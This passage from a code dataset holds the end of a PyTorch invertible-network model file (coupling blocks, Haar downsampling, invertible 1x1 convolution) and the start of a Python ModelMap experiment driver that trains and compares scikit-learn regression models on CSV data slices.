self.Ft1 = FPNBlock(self.split_len3, self.split_len1)\n self.Fs2 = FPNBlock(self.split_len3, self.split_len2)\n self.Ft2 = FPNBlock(self.split_len3, self.split_len2)\n\n def forward(self, x, c1, rev=False):\n x1, x2 = (x.narrow(1, 0, self.split_len1), x.narrow(1, self.split_len1, self.split_len2))\n\n if x.shape[1] == 4:\n c = c1[0]\n elif x.shape[1] == 16:\n c = c1[1]\n elif x.shape[1] == 64:\n c = c1[2]\n\n if not rev: \n self.s1 = self.clamp * (torch.sigmoid(self.Fs1(torch.cat((x2, c), 1))) * 2 - 1)\n v1 = x1.mul(torch.exp(self.s1)) + self.Ft1(torch.cat((x2, c), 1))\n tmp = self.Fs2(torch.cat((v1, c), 1))\n self.s2 = self.clamp * (torch.sigmoid(tmp) * 2 - 1)\n v2 = x2.mul(torch.exp(self.s2)) + self.Ft2(torch.cat((v1, c), 1))\n else:\n self.s2 = self.clamp * (torch.sigmoid(self.Fs2(torch.cat((x1, c), 1))) * 2 - 1)\n v2 = (x2 - self.Ft2(torch.cat((x1, c), 1))).div(torch.exp(self.s2))\n self.s1 = self.clamp * (torch.sigmoid(self.Fs1(torch.cat((v2, c), 1))) * 2 - 1)\n v1 = (x1 - self.Ft1(torch.cat((v2, c), 1))).div(torch.exp(self.s1))\n\n return torch.cat((v1, v2), 1)\n\n def jacobian(self, x, rev=False):\n if not rev:\n jac = torch.sum(self.s)\n else:\n jac = -torch.sum(self.s)\n\n return jac / x.shape[0]\n\nclass DoubleConv(nn.Module):\n \"\"\"(convolution => [BN] => ReLU) * 2\"\"\"\n\n def __init__(self, in_channels, out_channels, mid_channels=None):\n super().__init__()\n if not mid_channels:\n mid_channels = out_channels\n self.double_conv = nn.Sequential(\n nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False),\n nn.ReLU(inplace=True),\n nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n return self.double_conv(x)\n\n\nclass Down(nn.Module):\n \"\"\"Downscaling with maxpool then double conv\"\"\"\n\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.maxpool_conv = nn.Sequential(\n nn.MaxPool2d(2),\n DoubleConv(in_channels, out_channels)\n )\n\n def forward(self, x):\n return self.maxpool_conv(x)\n\n######################################\n# fpn model\n######################################\n\nclass FPNBlock(nn.Module):\n def __init__(self, channel_in, channel_out):\n super(FPNBlock, self).__init__()\n gc = 32\n bias = True\n self.conv1 = nn.Conv2d(channel_in, gc, 3, 1, 1, bias=bias)\n self.conv2 = nn.Conv2d(channel_in + gc, gc, 3, 1, 1, bias=bias)\n self.conv3 = nn.Conv2d(channel_in + 2 * gc, gc, 3, 1, 1, bias=bias)\n self.conv4 = nn.Conv2d(channel_in + 3 * gc, gc, 3, 1, 1, bias=bias)\n self.conv5 = nn.Conv2d(channel_in + 4 * gc, channel_out, 3, 1, 1, bias=bias)\n self.lrelu = nn.LeakyReLU(negative_slope=0.2, inplace=True)\n\n initialize_weights_xavier([self.conv1, self.conv2, self.conv3, self.conv4], 0.1)\n #initialize_weights(self.conv5, 0)\n\n def forward(self, x):\n x1 = self.lrelu(self.conv1(x))\n x2 = self.lrelu(self.conv2(torch.cat((x, x1), 1)))\n x3 = self.lrelu(self.conv3(torch.cat((x, x1, x2), 1)))\n x4 = self.lrelu(self.conv4(torch.cat((x, x1, x2, x3), 1)))\n x5 = self.conv5(torch.cat((x, x1, x2, x3, x4), 1))\n\n return x5\n \nimport torch.nn.init as init\ndef initialize_weights_xavier(net_l, scale=1):\n if not isinstance(net_l, list):\n net_l = [net_l]\n for net in net_l:\n for m in net.modules():\n if isinstance(m, nn.Conv2d):\n init.xavier_normal_(m.weight)\n m.weight.data *= scale # for residual block\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n init.xavier_normal_(m.weight)\n m.weight.data *= scale\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n init.constant_(m.weight, 1)\n init.constant_(m.bias.data, 0.0)\n\nclass HaarDownsampling(nn.Module):\n def __init__(self, channel_in):\n super(HaarDownsampling, self).__init__()\n self.channel_in = channel_in\n\n self.haar_weights = torch.ones(4, 1, 2, 2)\n\n self.haar_weights[1, 0, 0, 1] = -1\n self.haar_weights[1, 0, 1, 1] = -1\n\n self.haar_weights[2, 0, 1, 0] = -1\n self.haar_weights[2, 0, 1, 1] = -1\n\n self.haar_weights[3, 0, 1, 0] = -1\n self.haar_weights[3, 0, 0, 1] = -1\n\n self.haar_weights = torch.cat([self.haar_weights] * self.channel_in, 0)\n self.haar_weights = nn.Parameter(self.haar_weights)\n self.haar_weights.requires_grad = False\n\n def forward(self, x, c, rev=False):\n if not rev:\n self.elements = x.shape[1] * x.shape[2] * x.shape[3]\n self.last_jac = self.elements / 4 * np.log(1/16.)\n\n out = F.conv2d(x, self.haar_weights, bias=None, stride=2, groups=self.channel_in) / 4.0\n out = out.reshape([x.shape[0], self.channel_in, 4, x.shape[2] // 2, x.shape[3] // 2])\n out = torch.transpose(out, 1, 2)\n out = out.reshape([x.shape[0], self.channel_in * 4, x.shape[2] // 2, x.shape[3] // 2])\n return out\n else:\n self.elements = x.shape[1] * x.shape[2] * x.shape[3]\n self.last_jac = self.elements / 4 * np.log(16.)\n\n out = x.reshape([x.shape[0], 4, self.channel_in, x.shape[2], x.shape[3]])\n out = torch.transpose(out, 1, 2)\n out = out.reshape([x.shape[0], self.channel_in * 4, x.shape[2], x.shape[3]])\n return F.conv_transpose2d(out, self.haar_weights, bias=None, stride=2, groups = self.channel_in)\n\n def jacobian(self, x, c, rev=False):\n return self.last_jac\n\nclass InvertibleConv1x1(nn.Module):\n def __init__(self, num_channels, LU_decomposed):\n super().__init__()\n w_shape = [num_channels, num_channels]\n w_init = torch.qr(torch.randn(*w_shape))[0]\n\n if not LU_decomposed:\n self.weight = nn.Parameter(torch.Tensor(w_init))\n else:\n p, lower, upper = torch.lu_unpack(*torch.lu(w_init))\n s = torch.diag(upper)\n sign_s = torch.sign(s)\n log_s = torch.log(torch.abs(s))\n upper = torch.triu(upper, 1)\n l_mask = torch.tril(torch.ones(w_shape), -1)\n eye = torch.eye(*w_shape)\n\n self.register_buffer(\"p\", p)\n self.register_buffer(\"sign_s\", sign_s)\n self.lower = nn.Parameter(lower)\n self.log_s = nn.Parameter(log_s)\n self.upper = nn.Parameter(upper)\n self.l_mask = l_mask\n self.eye = eye\n\n self.w_shape = w_shape\n self.LU_decomposed = LU_decomposed\n\n def get_weight(self, input, reverse):\n b, c, h, w = input.shape\n\n if not self.LU_decomposed:\n dlogdet = torch.slogdet(self.weight)[1] * h * w\n if reverse:\n weight = torch.inverse(self.weight)\n else:\n weight = self.weight\n else:\n self.l_mask = self.l_mask.to(input.device)\n self.eye = self.eye.to(input.device)\n\n lower = self.lower * self.l_mask + self.eye\n\n u = self.upper * self.l_mask.transpose(0, 1).contiguous()\n u += torch.diag(self.sign_s * torch.exp(self.log_s))\n\n dlogdet = torch.sum(self.log_s) * h * w\n\n if reverse:\n u_inv = torch.inverse(u)\n l_inv = torch.inverse(lower)\n p_inv = torch.inverse(self.p)\n\n weight = torch.matmul(u_inv, torch.matmul(l_inv, p_inv))\n else:\n weight = torch.matmul(self.p, torch.matmul(lower, u))\n\n return weight.view(self.w_shape[0], self.w_shape[1], 1, 1), dlogdet\n\n def forward(self, input, logdet=None, reverse=False):\n \"\"\"\n log-det = log|abs(|W|)| * pixels\n \"\"\"\n weight, dlogdet = self.get_weight(input, reverse)\n\n if not reverse:\n z = F.conv2d(input, weight)\n if logdet is not None:\n logdet = logdet + dlogdet\n return z, logdet\n else:\n z = F.conv2d(input, weight)\n if logdet is not None:\n logdet = logdet - dlogdet\n return z, logdet\n \nimport torchvision.models as models\n\nclass VGG(nn.Module):\n def __init__(self):\n super(VGG, self).__init__()\n vgg_features = models.vgg19(pretrained=True).features\n modules = [m for m in vgg_features]\n\n self.vgg256 = nn.Sequential(*modules[:3])\n self.vgg128 = nn.Sequential(*modules[:8])\n self.vgg64 = nn.Sequential(*modules[:18])\n \n for p in self.parameters():\n p.requires_grad = False\n\n def forward(self, x):\n catx = torch.cat([x,x,x],1)\n x256 = self.vgg256(catx)\n x128 = self.vgg128(catx)\n x64 = self.vgg64(catx)\n return [x256, x128, x64]\n\nif __name__ == '__main__': \n x = torch.randn(1,4,64,64)\n y = torch.randn(1,4,256,256)\n z = torch.randn(1,1,256,256)\n arg = []\n Net = Net(arg)\n out = Net(x, y, z, y)\n print(out.shape)\n","repo_name":"jiaming-wang/PSCINN","sub_path":"psinn.py","file_name":"psinn.py","file_ext":"py","file_size_in_byte":11828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21576083863","text":"\"\"\"\nModelMap\n\nA toolkit for Model Mapping experimentation.\n\nExperiment driver class\n\nAuthors:\nFrancesco Iorio \nAli Hashemi\nMichael Tao\n\nLicense: BSD 3 clause\n\"\"\"\n\n\nimport math\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom sklearn.metrics import explained_variance_score\nimport os, errno\nimport time\nimport logging\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.preprocessing import FunctionTransformer\n\nimport ModelMap\nimport Utils\nfrom Utils import percentile\nfrom Utils import print_summary\nfrom Utils import find_min_errors\nfrom Utils import save_to_file\n\nEXP_RESULTS_FILE_EXT = \"_exp_results.DataFrame\"\n\n\ndef truth_table(ds, range):\n \"\"\"Returns a subset of dataset ds (a data table) whose columns are are filtered by the range defined \"range\"\n\n Args:\n ds: A DataFrame object.\n range: dictionary of columns and ranges that represent the subset of the full dataset\n that represent the authoritative slice. The authoritative slice is used\n to train the authoritative model.\n For example, {\"buffer_pool\": [32, 256]}\n\n Returns: A DataFrame object. It has the same number of rows as ds and one boolean column which shows whether\n a row met the criteria defined in \"range\" or not. For example, ds.loc[truth_table(ds, range)] is a subset of\n ds filtered by range\n \"\"\"\n boolean = True\n for column in range:\n column_name = column\n result = isinstance(range[column], list)\n if result:\n column_min = range[column][0]\n column_max = range[column][1]\n boolean = boolean & (ds[column_name].between(column_min, column_max, inclusive=True))\n else:\n boolean = boolean & (ds[column_name].isin(range[column]))\n\n return boolean\n\n\ndef identity(X):\n return X\n\n\nclass Slice:\n def __init__(self, filename, data_range, domain_columns, codomain_columns, log2_columns=None,\n normalization='N', scaler_domain=None, scaler_codomain=None, logger=None):\n self.filename = filename\n self.data_range = data_range\n self.domain_columns = domain_columns\n self.codomain_columns = codomain_columns\n self.log2_columns = log2_columns\n self.normalization = normalization\n self.logger = logger\n self.scaler_domain = scaler_domain\n self.scaler_codomain = scaler_codomain\n self.dataset = None\n self.data = None\n\n def load(self):\n if self.filename == None:\n return\n # Read CSV file\n self.logger.info(\"Loading slice dataset from \" + str(self.filename))\n self.dataset = pd.read_csv(self.filename)\n\n # Filter the dataset to extract samples that belong to the slice\n self.logger.info(\"Filtering slice\")\n self.data_original = self.dataset.loc[truth_table(self.dataset, self.data_range)].copy().reset_index(drop=True)\n self.data = self.data_original.copy()\n\n self.logger.debug(\"Slice:\")\n self.logger.debug('\\n' + str(self.data))\n\n if self.log2_columns:\n self.logger.debug(\"Applying log2transform\")\n transformer = FunctionTransformer(np.log2, inverse_func=np.exp2).fit(self.data_original[self.log2_columns])\n self.data[self.log2_columns] = transformer.transform(self.data_original[self.log2_columns])\n\n if self.scaler_domain:\n self.logger.debug(\"Normalizing domain using external scaler\")\n self.data[self.domain_columns] = self.scaler_domain.transform(self.data[self.domain_columns])\n else:\n if self.normalization == 'N':\n self.logger.debug(\"Normalizing domain using MaxMin\")\n from sklearn import preprocessing\n\n self.scaler_domain = preprocessing.MinMaxScaler().fit(self.data[self.domain_columns])\n self.data[self.domain_columns] = self.scaler_domain.transform(self.data[self.domain_columns])\n\n if self.normalization == 'S':\n self.logger.debug(\"Normalizing domain to mean=0, stdev=1\")\n from sklearn import preprocessing\n\n self.scaler_domain = preprocessing.StandardScaler().fit(self.data[self.domain_columns])\n self.data[self.domain_columns] = self.scaler_domain.transform(self.data[self.domain_columns])\n\n if self.scaler_codomain:\n self.logger.debug(\"Normalizing codomain using external scaler\")\n self.data[self.codomain_columns] = self.scaler_codomain.transform(self.data[[self.codomain_columns]])\n else:\n self.scaler_codomain = FunctionTransformer(identity)\n\n if self.normalization == 'N':\n self.logger.debug(\"Normalizing codomain using MaxMin\")\n from sklearn import preprocessing\n\n self.scaler_codomain = preprocessing.MinMaxScaler().fit(self.data[[self.codomain_columns]])\n self.data[self.codomain_columns] = self.scaler_codomain.transform(self.data[[self.codomain_columns]])\n\n if self.normalization == 'S':\n self.logger.debug(\"Normalizing codomain to mean=0, stdev=1\")\n from sklearn import preprocessing\n\n self.scaler_codomain = preprocessing.StandardScaler().fit(self.data[[self.codomain_columns]])\n self.data[self.codomain_columns] = self.scaler_codomain.transform(self.data[[self.codomain_columns]])\n\n\nclass ModelMapExperiment:\n \"\"\"ModelMapExperiment\n\n Attributes:\n authoritative_model_dataset_range: dictionary of columns and ranges that represent the subset of the full\n dataset that represent the authoritative slice, which is used to train the authoritative model.\n \"\"\"\n\n def __init__(self, authoritative_dataset_filename,\n domain_columns, codomain_columns,\n num_runs,\n authoritative_models,\n authoritative_model_dataset_range,\n unknown_function_dataset_range,\n map,\n direct_modeling_methods,\n sampling_budgets,\n unknown_dataset_filename=None,\n plot_graphs=False,\n logger=None,\n log2_columns=None,\n normalization='S',\n active_learning = False,\n active_learning_direct_source = False,\n model_selection = False,\n title=\"Experiment\"):\n \"\"\"\n This is the modeling driver class. It runs different techniques/methods side by side and provided comparison\n metrics\n\n Parameters\n ----------\n authoritative_dataset_filename : filename of the (csv) dataset that contains the authoritative dataset (\n or both the authoritative dataset and the unknown dataset)\n\n unknown_dataset_filename : [optional] filename of the (csv) dataset that contains the unknown dataset\n\n domain_columns : list of dataset column names representing the function domain\n\n codomain_columns : list of dataset column names representing the function codomain\n\n num_runs : number of runs to determine statistically significant performance values for models that use\n random selection of samples\n\n authoritative_models : list of instances of (empty) scikit-learn models which represents the authoritative\n models that will be trained using the provided dataset. Each model corresponds to a\n \"slice\", to use in N:1 maps, e.g. maps of class (L>1,N).\n\n authoritative_model_dataset_range: dictionary of columns and ranges that represent the subset of the full\n dataset that represent the authoritative slice. The authoritative\n slice is used to train the authoritative model.\n For example, {\"buffer_pool\": [32, 256]}\n\n unknown_function_dataset_range: dictionary of columns and ranges that represent the subset of the full\n dataset that represent the unknown slice, which is used as both the\n training and test set for the maps and the direct models.\n\n map : instance of ModelMapMap to be used as the mapping technique.\n\n direct_modeling_methods : [optional] list of instances of (empty) scikit-learn models which will be used\n to train models directly using samples of the unknown function, to provide an\n estimation of convergence for the map via cross-validation.\n\n sampling_budgets: a list of number of samples, each will determine number of samples to feed to the map at \n every iteration of the experiment \n logger: A python logger [optional]. If it is not provided by default it will use debug level logging\n title: A human readble title, which can be used in output filenames\n \"\"\"\n self.authoritative_dataset_filename = authoritative_dataset_filename\n self.unknown_dataset_filename = unknown_dataset_filename\n self.domain_columns = domain_columns\n self.codomain_columns = codomain_columns\n self.num_runs = num_runs\n self.authoritative_models = authoritative_models\n self.authoritative_model_dataset_range = authoritative_model_dataset_range\n self.unknown_function_dataset_range = unknown_function_dataset_range\n self.map = map\n self.direct_modeling_methods = direct_modeling_methods.copy()\n self.sampling_budgets = sampling_budgets if isinstance(sampling_budgets, list) else [sampling_budgets]\n self.plot_graphs = plot_graphs\n self.logger = logger\n self.log2_columns = log2_columns\n self.normalization = normalization\n self.active_learning = active_learning\n self.active_learning_direct_source = active_learning_direct_source\n self.model_selection = model_selection\n if logger is None:\n import logging\n self.logger = logging.getLogger(\"ModelMap\")\n self.logger.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n self.logger.addHandler(ch)\n self.title = title\n map.set_logger(logger)\n\n def _loadData(self):\n \"\"\"\n Loading and preprocessing data\n \"\"\"\n\n self.logger.info(\"Loading authoritative dataset from \" + str(self.authoritative_dataset_filename))\n\n # Check if we are using more than one slice as authoritative\n if isinstance(self.authoritative_dataset_filename, str):\n self.authoritative_slice = Slice(\n filename=self.authoritative_dataset_filename,\n data_range=self.authoritative_model_dataset_range,\n domain_columns=self.domain_columns,\n codomain_columns=self.codomain_columns,\n log2_columns=self.log2_columns,\n normalization = self.normalization,\n logger=self.logger )\n\n self.authoritative_slice.load()\n else:\n self.authoritative_slice = []\n for filename in self.authoritative_dataset_filename:\n self.authoritative_slice.append( Slice(\n filename=filename,\n data_range=self.authoritative_model_dataset_range,\n domain_columns=self.domain_columns,\n codomain_columns=self.codomain_columns,\n log2_columns=self.log2_columns,\n normalization=self.normalization,\n logger=self.logger) )\n\n for slice in self.authoritative_slice:\n slice.load()\n\n if self.unknown_dataset_filename == None:\n self.unknown_slice = Slice(\n filename=self.authoritative_dataset_filename,\n data_range=self.unknown_function_dataset_range,\n domain_columns=self.domain_columns,\n codomain_columns=self.codomain_columns,\n log2_columns=self.log2_columns,\n normalization = self.normalization,\n scaler_domain=self.authoritative_slice.scaler_domain,\n logger=self.logger )\n else:\n self.logger.info(\"Loading unknown dataset from \" + str(self.unknown_dataset_filename))\n self.unknown_slice = Slice(\n filename=self.unknown_dataset_filename,\n data_range=self.unknown_function_dataset_range,\n domain_columns=self.domain_columns,\n codomain_columns=self.codomain_columns,\n log2_columns=self.log2_columns,\n normalization = self.normalization,\n scaler_domain=self.authoritative_slice.scaler_domain,\n logger=self.logger )\n\n self.unknown_slice.load()\n\n # Fit the authoritative model to the training data\n if isinstance(self.authoritative_models, list):\n\n self.logger.debug(\"Creating the model of Auth\")\n for index in range(len(self.authoritative_models)):\n _X = self.authoritative_slice[index].data[self.domain_columns]\n _y = self.authoritative_slice[index].data[self.codomain_columns]\n self.authoritative_models[index].fit(_X, _y)\n if isinstance(self.authoritative_models[index], GridSearchCV) and self.logger.getEffectiveLevel() <= logging.DEBUG:\n self.logger.debug(\"model best params: %s\", self.authoritative_models[index].best_params_)\n for i_p in range(len(self.authoritative_models[index].cv_results_[\"params\"])):\n if self.authoritative_models[index].cv_results_[\"rank_test_score\"][i_p] == 1:\n self.logger.debug(\"best params (rank 1): %s\", self.authoritative_models[index].cv_results_[\"params\"][i_p])\n\n self.logger.info(\"Authoritative model initial fit\")\n for index in range(len(self.authoritative_models)):\n prediction = self.authoritative_models[index].predict(self.authoritative_slice[index].data[self.domain_columns])\n self.logger.info(\"Authoritative model error (RMSE): %.3f, stdev:%.3f, RMSRE: %.2f%%\",\n Utils.RMSE(self.authoritative_slice[index].data[self.codomain_columns], prediction),\n explained_variance_score(y_true=self.authoritative_slice[index].data[self.codomain_columns],\n y_pred=prediction) if prediction.ndim == 1 else 0.0,\n 100 * Utils.RMSRE(self.authoritative_slice[index].data[self.codomain_columns], prediction))\n self.authoritative_slice[index].data[\"auth_model\"] = prediction\n\n else:\n\n self.logger.debug(\"Creating the model of Auth\")\n _X = self.authoritative_slice.data[self.domain_columns]\n _y = self.authoritative_slice.data[self.codomain_columns]\n self.authoritative_models.fit(_X, _y)\n if isinstance(self.authoritative_models,\n GridSearchCV) and self.logger.getEffectiveLevel() <= logging.DEBUG:\n self.logger.debug(\"model best params: %s\", self.authoritative_models.best_params_)\n for i_p in range(len(self.authoritative_models.cv_results_[\"params\"])):\n if self.authoritative_models.cv_results_[\"rank_test_score\"][i_p] == 1:\n self.logger.debug(\"best params (rank 1): %s\",\n self.authoritative_models.cv_results_[\"params\"][i_p])\n\n self.logger.info(\"Authoritative model initial fit\")\n prediction = self.authoritative_models.predict(\n self.authoritative_slice.data[self.domain_columns])\n\n self.logger.info(\"Authoritative model error (RMSE): %.3f, stdev:%.3f, RMSRE: %.2f%%\",\n Utils.RMSE(self.authoritative_slice.data[self.codomain_columns], prediction),\n explained_variance_score(\n y_true=self.authoritative_slice.data[self.codomain_columns],\n y_pred=prediction) if prediction.ndim == 1 else 0.0,\n 100 * Utils.RMSRE(self.authoritative_slice.data[self.codomain_columns],\n prediction))\n self.authoritative_slice.data[\"auth_model\"] = prediction\n\n\n def run(self):\n \"\"\" Runs a ModelMapExperiment\n\n Returns:\n Results of experiment\n\n \"\"\"\n\n self.logger.info(\"Running experiment %s\", self.title)\n\n results_dir = \"results/\" + self.title\n try:\n os.makedirs(results_dir)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n # Load all data\n self._loadData()\n\n # Setup models for multitask learning if necessary by passing the dataset for the authoritative slice\n\n for model in self.map.map_modeling_methods:\n try:\n if model.multi_task:\n\n dom = []\n\n if hasattr(self.map, \"C_feature_names\"):\n dom = self.map.C_feature_names\n\n dom = dom + [self.authoritative_slice.codomain_columns]\n\n model.set_auth_tasks(self.authoritative_slice.data[dom],\n self.authoritative_slice.data[self.authoritative_slice.codomain_columns])\n except AttributeError:\n pass\n\n for model in self.direct_modeling_methods:\n try:\n if model.multi_task:\n model.set_auth_tasks(self.authoritative_slice.data[self.authoritative_slice.domain_columns],\n self.authoritative_slice.data[self.authoritative_slice.codomain_columns])\n except AttributeError:\n pass\n\n exp_results = pd.DataFrame(columns=[\"number_of_samples\", \"run_id\", \"modeling_technique\", \"modeling_method\",\n \"rmse\", \"rmsre\", \"rrmse\", \"mape\", \"acc_mse\", \"acc_r2\", \"acc_evs\", \"acc_ma\",\n \"acc_rmse\"])\n\n # Run multiple iterations to remove random noise\n\n for run_i in range(0, self.num_runs):\n\n if self.active_learning:\n indices = np.arange(self.unknown_slice.data.shape[0])\n np.random.seed(run_i)\n np.random.shuffle(indices)\n indices = indices[0:self.sampling_budgets[0]]\n\n for num_samples in self.sampling_budgets:\n\n # Check if the budget is larger than the maximum size of the available dataset\n\n if num_samples > self.unknown_slice.data.shape[0]:\n self.logger.debug(\"requested sampling budget %s is greater than the available sample %s\",\n num_samples, self.unknown_slice.data.shape[0] )\n num_samples = self.unknown_slice.data.shape[0]\n\n self.logger.info(\"Training using \" + str(num_samples) + \" samples.\")\n\n # Generate the training set randomly. Set random_state to be able to replicate results.\n # The training set contains different amounts of samples, but using the same random seed, every training\n # set is guaranteed to be a superset of the previous one\n\n if self.active_learning == False:\n indices = np.arange(self.unknown_slice.data.shape[0])\n np.random.seed(run_i)\n np.random.shuffle(indices)\n indices = indices[0:num_samples]\n\n if isinstance(self.authoritative_models, list):\n training_set = self.authoritative_slice[-1].data.iloc[indices]\n else:\n training_set = self.unknown_slice.data.iloc[indices]\n\n # Select anything not in the training set (by index) and put it in the testing set.\n test_set = self.unknown_slice.data.loc[~self.unknown_slice.data.index.isin(training_set.index)]\n\n test_set_original = self.unknown_slice.data_original[self.codomain_columns].loc[~self.unknown_slice.data.index.isin(training_set.index)]\n\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n # Mapping technique\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n\n # Construct the map\n modelmap = ModelMap.ModelMap(self.authoritative_models,\n self.map,\n self.direct_modeling_methods,\n model_selection = self.model_selection,\n logger=self.logger\n )\n\n # Fit the map to the training data.\n self.logger.debug(\"Map training, run {}, for {} samples\".format(run_i, num_samples))\n modelmap.fit(training_set[self.domain_columns], training_set[self.codomain_columns])\n\n # Generate our predictions for the test set using the map(s).\n self.logger.debug(\"Map testing, run {}, for {} samples\".format(run_i, num_samples))\n predictions_map = modelmap.predict_map(test_set[self.domain_columns])\n\n # Restore values to un-normalized status\n if predictions_map:\n predictions_map_original = self.unknown_slice.scaler_codomain.inverse_transform(predictions_map)\n\n for index, prediction in enumerate(predictions_map_original):\n\n exp_results.loc[exp_results.shape[0]] = [num_samples,\n run_i,\n \"Mapping\",\n self.map.map_modeling_methods[index].label,\n Utils.RMSE(test_set_original, prediction),\n Utils.RMSRE(test_set_original, prediction),\n Utils.NMAE(test_set_original, prediction),\n Utils.MAPE(test_set_original, prediction),\n self.map.map_modeling_methods[index]._accuracy_mse,\n self.map.map_modeling_methods[index]._accuracy_r2,\n self.map.map_modeling_methods[index]._accuracy_evs,\n self.map.map_modeling_methods[index]._accuracy_ma,\n self.map.map_modeling_methods[index]._accuracy_rmse\n ]\n\n\n # -------------------------------------------------------------------------------------------------\n # Model selection\n # -------------------------------------------------------------------------------------------------\n if self.model_selection:\n self.logger.debug(\"Map model selection testing, run {}, for {} samples\".format(run_i, num_samples))\n prediction_map_cc = [modelmap.predict(test_set[self.domain_columns])]\n\n predictions_map_cc_original = self.unknown_slice.scaler_codomain.inverse_transform(\n prediction_map_cc)\n\n for index, prediction in enumerate(predictions_map_cc_original):\n exp_results.loc[exp_results.shape[0]] = [num_samples,\n run_i,\n \"Mapping\",\n \"Map model selection\",\n Utils.RMSE(test_set_original, prediction),\n Utils.RMSRE(test_set_original, prediction),\n Utils.NMAE(test_set_original, prediction),\n Utils.MAPE(test_set_original, prediction),\n 100000.,\n 100000.,\n 100000.,\n 100000.,\n 100000.\n ]\n\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n # Direct modeling\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n # -------------------------------------------------------------\n\n # Generate our predictions for the test set using direct model(s).\n\n # If the experiment has multiple authoritative models, regenerate the training set. Set\n # random_state to be able to replicate results.\n # The training set contains different amounts of samples, but using the same random seed, every training\n # set is guaranteed to be a superset of the previous one\n if isinstance(self.authoritative_models, list):\n\n indices = np.arange(self.unknown_slice.data.shape[0])\n np.random.seed(run_i)\n np.random.shuffle(indices)\n indices = indices[0:num_samples]\n\n training_set = self.unknown_slice.data.iloc[indices]\n\n # Select anything not in the training set (by index) and put it in the testing set.\n test_set = self.unknown_slice.data.loc[~self.unknown_slice.data.index.isin(training_set.index)]\n\n test_set_original = self.unknown_slice.data_original[self.codomain_columns].loc[\n ~self.unknown_slice.data.index.isin(training_set.index)]\n\n # Fit the direct models to the training data.\n self.logger.debug(\"Direct model training, run {}, for {} samples\".format(run_i, num_samples))\n modelmap.fit(training_set[self.domain_columns], training_set[self.codomain_columns])\n\n self.logger.debug(\"Direct model testing, run {}, for {} samples\".format(run_i, num_samples))\n\n # Generate our predictions for the test set using direct modeling.\n predictions_direct = modelmap.predict_direct(test_set[self.domain_columns])\n\n if predictions_direct:\n # Restore values to un-normalized status\n predictions_direct_original = self.unknown_slice.scaler_codomain.inverse_transform(predictions_direct)\n\n # Append the MSE of the current direct model(s) to the repository of MSEs, to later compute mean and\n # std deviation.\n\n for index, prediction in enumerate(predictions_direct_original):\n exp_results.loc[exp_results.shape[0]] = [num_samples,\n run_i,\n \"Direct\",\n self.direct_modeling_methods[index].label,\n Utils.RMSE(test_set_original, prediction),\n Utils.RMSRE(test_set_original, prediction),\n Utils.NMAE(test_set_original, prediction),\n Utils.MAPE(test_set_original, prediction),\n self.direct_modeling_methods[index]._accuracy_mse,\n self.direct_modeling_methods[index]._accuracy_r2,\n self.direct_modeling_methods[index]._accuracy_evs,\n self.direct_modeling_methods[index]._accuracy_ma,\n self.direct_modeling_methods[index]._accuracy_rmse\n ]\n\n if self.active_learning:\n ind = modelmap.next_sample_location_index(self.unknown_slice.data[self.domain_columns],\n self.active_learning_direct_source)\n indices = np.append(indices, ind)\n\n # End of loop over num_samples\n # End of loop over self.num_runs\n\n #---------------------------------------------------------------------\n # Summarized the experiments\n #---------------------------------------------------------------------\n\n exp_results.to_pickle(path=os.path.join(results_dir, self.title + EXP_RESULTS_FILE_EXT))\n exp_results.to_csv(os.path.join(results_dir, self.title + \"_all.csv\"))\n\n self.generate_summary(exp_results=exp_results,\n metric_name=\"rmse\",\n exp_title=self.title,\n results_dir=results_dir,\n logger=self.logger\n )\n\n self.generate_plot(exp_results=exp_results,\n metric_name=\"rmse\",\n exp_title=self.title,\n results_dir=results_dir,\n logger=self.logger\n )\n\n self.generate_summary(exp_results=exp_results,\n metric_name=\"mape\",\n exp_title=self.title,\n results_dir=results_dir,\n logger=self.logger\n )\n\n self.generate_plot(exp_results=exp_results,\n metric_name=\"mape\",\n exp_title=self.title,\n results_dir=results_dir,\n logger=self.logger\n )\n\n\n self.generate_summary(exp_results=exp_results,\n metric_name=\"rrmse\",\n exp_title=self.title,\n results_dir=results_dir,\n logger=self.logger\n )\n\n\n @staticmethod\n def generate_summary(exp_results, metric_name, exp_title, results_dir, logger=logging.getLogger()):\n \"\"\"Creates and saves a summary of exp_results as a LaTex table and a csv file.\n The summary is an aggregation of metric_name over \"number_of_samples\", \"modeling_technique\", \"modeling_method\".\n \n \n \"\"\"\n summary = exp_results.groupby([\"number_of_samples\", \"modeling_technique\", \"modeling_method\"]\n )[metric_name].agg([\"mean\", \"std\", \"count\", \"sem\",\n \"min\", \"max\",\n percentile(25), percentile(50),\n percentile(75), percentile(95)\n ])\n # Print mean standard error\n if logger.getEffectiveLevel() <= logging.DEBUG: \n print(\"---------------------------------------------------\")\n print(\" \" + exp_title + \" :: \" + metric_name )\n print(\"---------------------------------------------------\") \n print_summary(summary)\n print(\"---------------------------------------------------\")\n \n find_min_errors(summary_df=summary, agg_level_name=\"number_of_samples\", ttest_pval_th=0.95)\n \n # Create mean+-stderr for each combination \n summary[\"mean_pm_sem\"] = summary[\"mean\"].map(\"{:,.2f}\".format) + \"$\\pm$\" + summary[\"sem\"].map(\"{:,.1f}\".format)\n \n # add latex command for the minimum error value(s)\n latex_min_err_cmd = \"\\minerr\" # e.g. \\newcommand{\\minerr} [1]{{\\bfseries \\small 